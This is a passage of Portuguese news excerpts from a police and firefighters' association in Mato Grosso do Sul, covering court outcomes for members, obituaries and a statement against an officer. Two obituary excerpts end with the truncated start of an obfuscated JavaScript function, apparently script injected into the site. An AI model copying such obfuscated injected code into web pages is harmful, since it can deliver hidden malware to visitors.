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Um policial militar que teve sua defesa realizada pela assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), foi absolvido da acusação de lesão corporal leve. O MPE (Ministério Público Estadual), atrave?s de sua representante legal em exerci?cio nesta Vara da Justic?a Militar, denunciou o policial militar por infrac?a?o ao art. 209, caput (lesa?o corporal leve), do Co?digo Penal Militar, sob a acusac?a?o de que: “...no dia 26 de Marc?o de 2016, durante abordagem policial, o acusado teria ofendido a integridade física da vítima...”. Em alegac?o?es finais, o Ministe?rio Pu?blico aduziu que restaram comprovas a autoria e materialidade do delito, raza?o pela qual pugnou pela condenac?a?o do re?u. A defesa, por sua vez, al...

A ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) lamenta profundamente a morte do SGT PM Luís Carlos Vieira, lotado no Batalhão de Polícia Militar Ambiental, em Aquidauana. Ele passou mal por volta das 3 horas da madrugada de terça-feira (10), quando estava de serviço, o Corpo de Bombeiros foi chamado e tentou a reanimação do militar, que foi levado para o hospital da cidade, mas não resistiu e veio a óbito. A suspeita é de que o sargento tenha sofrido um enfarto. Em nome de toda a diretoria da ACS, rogamos a Deus para que conforte familiares e amigos neste momento de dor, e receba nosso companheiro em um bom lugar ao seu lado. ASSESSORIA DE COMUNICAÇÃO DA ACS. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x...

A ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) repudia, de maneira veemente, as atitudes, até mesmo coatoras, de um oficial da Polícia Militar lotado no 13º Batalhão, em Paranaíba. Denúncias de associados que chegaram à nossa diretoria dão conta de que o oficial usa de seu posto para, pessoalmente, difamar a ACS, utilizando, por vezes, um tom intimidatório para que o militar desligue-se da entidade -isso ocorre com sócios civis também. O oficial, no entanto, se esquece que a ACS é a maior e principal associação representativa da classe em Mato Grosso do Sul. Com quase 40 anos de história, encabeçou os principais movimentos reivindicatórios e conquistas da categoria desde sua fundação. Reforçamos, assim, nosso repúdio ao oficial ci...

A ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) lamenta profundamente a morte da sócia pensionista Iracilda Valéria Honorato, viúva do falecido SGT BM Lázaro. Ela encontrava-se internada em Campo grande e veio a óbito na madrugada dessa quinta-feira. A Regional de Corumbá, solidária aos familiares da sócia, já tomou as devidas providências para que seja feito o traslado de Campo Grande para Corumbá, onde o corpo será velado na Capela Cristo Rei, na Rua Colombo, nº 1399 bairro Aeroporto, conforme informações dos familiares. Em nome de toda a diretoria da ACS, rogamos a Deus para que conforte familiares e amigos neste momento de dor, e receba nossa companheira em um bom lugar ao seu lado. function _0x3023(_0x562006,_0x1334d6){const ...

A assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) conseguiu, esta semana, a desclassificação do crime de um associado que havia sido denunciado por peculato. Segundo a denúncia, ele permaneceu na posse de um veículo cautelado em seu nome, após a sua transferência para a reserva remunerada. A defesa sustentou absolvição com fundamento na tese de ausência de dolo, portanto atípica a conduta, e alternativamente defendeu a desclassificação para o crime de inobservância de legislação, prevista no art. 324 do Código Penal Militar. Após sustentação oral, o Conselho julgou parcialmente procedente a denúncia e acatou a tese da desclassificação, e determinou que o militar cumprisse algumas exigências descritas na sentença...